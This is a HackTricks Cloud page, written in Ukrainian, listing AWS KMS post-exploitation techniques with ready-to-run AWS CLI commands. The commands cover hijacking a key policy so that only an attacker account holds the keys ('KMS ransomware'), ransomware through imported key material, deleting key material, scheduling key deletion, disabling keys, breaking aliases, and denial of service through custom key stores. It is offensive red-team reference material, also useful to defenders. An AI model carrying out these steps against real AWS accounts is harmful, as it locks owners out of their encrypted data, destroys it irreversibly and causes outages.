AWS - KMS Post Exploitation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
KMS
Для отримання додаткової інформації див.:
Encrypt/Decrypt information
fileb:// and file:// — це URI-схеми, що використовуються в командах AWS CLI для вказання шляху до локальних файлів:
fileb://:читає файл у бінарному режимі, зазвичай використовується для файлів, що не є текстовими.file://:читає файл у текстовому режимі, зазвичай використовується для простих текстових файлів, скриптів або JSON, які не мають спеціальних вимог кодування.
Tip
Зверніть увагу, що якщо ви хочете decrypt деякі дані всередині файлу, файл має містити бінарні дані, а не base64 закодовані дані. (fileb://)
- Використання симетричного ключа
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Використання асиметричного ключа:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Зловмисник, який має привілеї в KMS, може змінити політику KMS для ключів і надати своєму обліковому запису доступ до них, вилучивши доступ, наданий легітимному обліковому запису.
Тоді користувачі цього легітимного облікового запису не зможуть отримати доступ до жодної інформації сервісів, зашифрованої цими ключами, що створює простий, але ефективний ransomware проти облікового запису.
Warning
Зверніть увагу, що AWS managed keys aren’t affected цією атакою, лише Customer managed keys.
Також зверніть увагу на необхідність використання параметра
--bypass-policy-lockout-safety-check(відсутність цієї опції у веб-консолі робить цю атаку можливою лише з CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
Зверніть увагу: якщо ви зміните цю політику й надасте доступ лише зовнішньому акаунту, а потім з цього зовнішнього акаунту спробуєте встановити нову політику, щоб повернути доступ оригінальному акаунту, ви не зможете, бо дію Put Polocy не можна виконати з cross account.
.png)
Generic KMS Ransomware
Існує інший спосіб виконати глобальний KMS Ransomware, який включає такі кроки:
- Створити новий key with a key material, імпортований зловмисником
- Re-encrypt older data жертви, зашифровані попередньою версією, за допомогою нової
- Delete the KMS key
- Тепер лише зловмисник, у якого є оригінальний key material, зможе розшифрувати зашифровані дані
Delete Keys via kms:DeleteImportedKeyMaterial
Маючи дозвіл kms:DeleteImportedKeyMaterial, актор може видалити імпортований key material з CMKs з Origin=EXTERNAL (CMKs, що імпортували свій key material), роблячи їх нездатними розшифрувати дані. Ця дія є руйнівною і незворотною, якщо сумісний матеріал не буде повторно імпортовано, що дозволяє зловмиснику фактично спричинити ransomware-like втрату даних, зробивши зашифровану інформацію назавжди недоступною.
aws kms delete-imported-key-material --key-id <Key_ID>
Destroy keys
Destroying keys — можна виконати DoS.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
Зауважте, що AWS тепер перешкоджає виконанню попередніх дій з іншого облікового запису:
Змінити або видалити Alias
Ця атака видаляє або перенаправляє AWS KMS aliases, порушуючи розв’язування ключів і спричиняючи негайні збої в будь-яких сервісах, що покладаються на ці aliases, внаслідок чого виникає denial-of-service. Маючи дозволи на кшталт kms:DeleteAlias або kms:UpdateAlias, зловмисник може видалити або перенаправити aliases і порушити криптографічні операції (наприклад, encrypt, describe). Будь-який сервіс, що посилається на alias замість key ID, може не працювати, доки alias не буде відновлено або правильно перенаправлено.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Скасування видалення ключа
За наявності дозволів на кшталт kms:CancelKeyDeletion та kms:EnableKey зловмисник може скасувати заплановане видалення AWS KMS customer master key і пізніше знову його увімкнути. Це відновлює ключ (спочатку в стані Disabled) та повертає його здатність розшифровувати раніше захищені дані, що дозволяє exfiltration.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Вимкнення ключа
Маючи дозвіл kms:DisableKey, зловмисник може відключити AWS KMS customer master key, перешкодивши його використанню для шифрування або розшифрування. Це порушить доступ для будь-яких сервісів, що залежать від цього CMK, і може спричинити негайні збої або denial-of-service, доки ключ не буде знову ввімкнено.
aws kms disable-key \
--key-id <key_id>
Derive Shared Secret
Маючи дозвіл kms:DeriveSharedSecret, актор може використати KMS-held private key разом із user-supplied public key для обчислення ECDH shared secret.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Імперсонація через kms:Sign
Маючи дозвіл kms:Sign, актор може використовувати KMS-stored CMK для криптографічного підписання даних без розкриття приватного ключа, створюючи дійсні підписи, які можуть дозволити імперсонацію або авторизувати шкідливі дії.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS with Custom Key Stores
Маючи дозволи на кшталт kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore або kms:UpdateCustomKeyStore, зловмисник може змінити, відключити або видалити AWS KMS Custom Key Store (CKS), зробивши його майстер-ключі непридатними для роботи. Це порушує операції шифрування, дешифрування та підписування для будь-яких сервісів, які залежать від цих ключів, і може спричинити негайний denial-of-service. Тому обмеження та моніторинг цих дозволів є критично важливими.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
HackTricks Cloud

